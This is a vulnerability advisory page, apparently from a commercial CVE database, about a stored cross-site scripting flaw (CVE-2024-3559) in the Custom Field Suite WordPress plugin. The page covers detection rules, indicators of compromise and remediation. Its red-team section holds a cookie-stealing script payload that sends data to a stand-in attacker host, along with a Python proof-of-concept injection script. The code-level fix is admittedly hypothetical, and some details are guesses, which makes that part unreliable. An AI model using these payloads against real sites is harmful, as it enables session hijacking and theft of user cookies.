CVE-2024-3559
Executive Summary
CVE-2024-3559 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Field Suite plugin for WordPress, affecting versions up to and including 2.6.7. This vulnerability allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts via the cfs[post_content] parameter. The injected scripts execute whenever a user accesses the compromised page, leading to potential data theft, session hijacking, or defacement. The vulnerability stems from insufficient input sanitization and output escaping in the plugin's handling of custom field data. As a WordPress ecosystem issue, this affects sites using the Custom Field Suite plugin, not the underlying web server.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Custom Field Suite plugin is distributed via the WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. There is no associated NPM, PyPI, Go, or Ruby package. The supply chain risk is limited to the plugin's update mechanism; if the plugin remains unpatched, sites are exposed. No official patch has been released as of the latest advisory.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level access)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication but is easily exploitable by low-privilege users. The stored XSS can affect all site visitors, including administrators, leading to potential privilege escalation or data exfiltration.
Deep Dive & Mechanics
The vulnerability resides in the Custom Field Suite plugin's handling of the cfs[post_content] parameter. When a user with contributor-level access or higher creates or edits a post, the plugin processes custom field data without proper sanitization or output escaping. Specifically, the cfs[post_content] parameter is used to store custom field values, which are later rendered on the frontend or admin pages without escaping HTML or JavaScript.
The attack flow:
- An authenticated attacker with contributor-level access navigates to the post editor.
- The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into thecfs[post_content]field. - The plugin stores the payload in the WordPress database without sanitization.
- When any user (including administrators) views the post, the payload executes in their browser.
The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output escaping allows the injected script to be interpreted as code rather than text.
Vulnerable vs. Patched Code
Vulnerable Code (version 2.6.7):
In the plugin's includes/field.php or similar file, the cfs[post_content] value is directly output without escaping:
echo $field_value; // No escaping
Patched Code (hypothetical fix): The patched version would use WordPress's escaping functions:
echo esc_html( $field_value ); // Escapes HTML entities
Or, for rich content, use wp_kses_post() to allow only safe HTML.
Since no official patch is available, administrators must manually apply escaping or disable the plugin.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Custom Field Suite plugin <= 2.6.7
- Authenticated user with contributor-level access or higher
Exploitation Steps:
- Log in as a contributor.
- Create a new post or edit an existing one.
- In the custom field section, set the
cfs[post_content]parameter to a malicious payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish or save the post.
- When an administrator or other user views the post, the script executes, exfiltrating cookies or performing other actions.
Proof-of-Concept (PoC) Code:
import requests
target_url = "http://target-wordpress.com/wp-admin/post-new.php"
session = requests.Session()
# Authenticate first (replace with valid credentials)
session.post(target_url, data={"log": "contributor", "pwd": "password"})
# Inject payload
payload = {
"cfs[post_content]": "<script>alert('XSS')</script>",
"post_title": "Test Post",
"post_status": "publish"
}
session.post(target_url, data=payload)
print("Payload injected. Visit the post to trigger XSS.")
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual
cfs[post_content]values containing<script>tags or event handlers. - Use Web Application Firewall (WAF) rules to block common XSS patterns in POST parameters.
- Review WordPress logs for suspicious post creation by low-privilege users.
Hardening:
- Disable the Custom Field Suite plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from WordPress server.
- POST requests to
/wp-admin/post.phpor/wp-admin/post-new.phpwithcfs[post_content]containing<script>tags.
Host IOCs:
- Database entries in
wp_postmetawithmeta_keycontainingcfsandmeta_valuecontaining JavaScript. - Modified post content in
wp_postswith injected scripts.
- Database entries in
File IOCs:
- Plugin files in
/wp-content/plugins/custom-field-suite/version 2.6.7 or earlier.
- Plugin files in
Detection Engineering
YARA Rule
rule CVE_2024_3559_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Custom Field Suite plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-3559"
strings:
$payload1 = /<script[^>]*>.*<\/script>/is
$payload2 = /on\w+\s*=\s*["']?[^"']*["']?/is
$cfs_field = "cfs[post_content]"
condition:
$cfs_field and ($payload1 or $payload2)
}
Sigma Rule
title: CVE-2024-3559 Stored XSS via Custom Field Suite
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in Custom Field Suite plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'cfs[post_content]'
cs-uri-query|re: '(<script|on\w+=)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3559 Stored XSS via Custom Field Suite"; flow:to_server,established; content:"POST"; http_method; content:"cfs[post_content]"; http_client_body; pcre:"/(<script|on\w+=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the Custom Field Suite plugin from the WordPress admin dashboard.
- Apply virtual patching: Use a WAF to block requests containing
cfs[post_content]with suspicious patterns. - Audit existing content: Scan the database for stored XSS payloads in custom fields.
Long-term Fix:
- Wait for an official patch from the plugin vendor. Once available, update to the patched version.
- If no patch is released, consider migrating to an alternative custom field plugin (e.g., Advanced Custom Fields) that properly sanitizes input.
Workaround:
- Manually add output escaping to the plugin's code (if you have development resources):
// In includes/field.php or similar echo esc_html( $field_value );
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.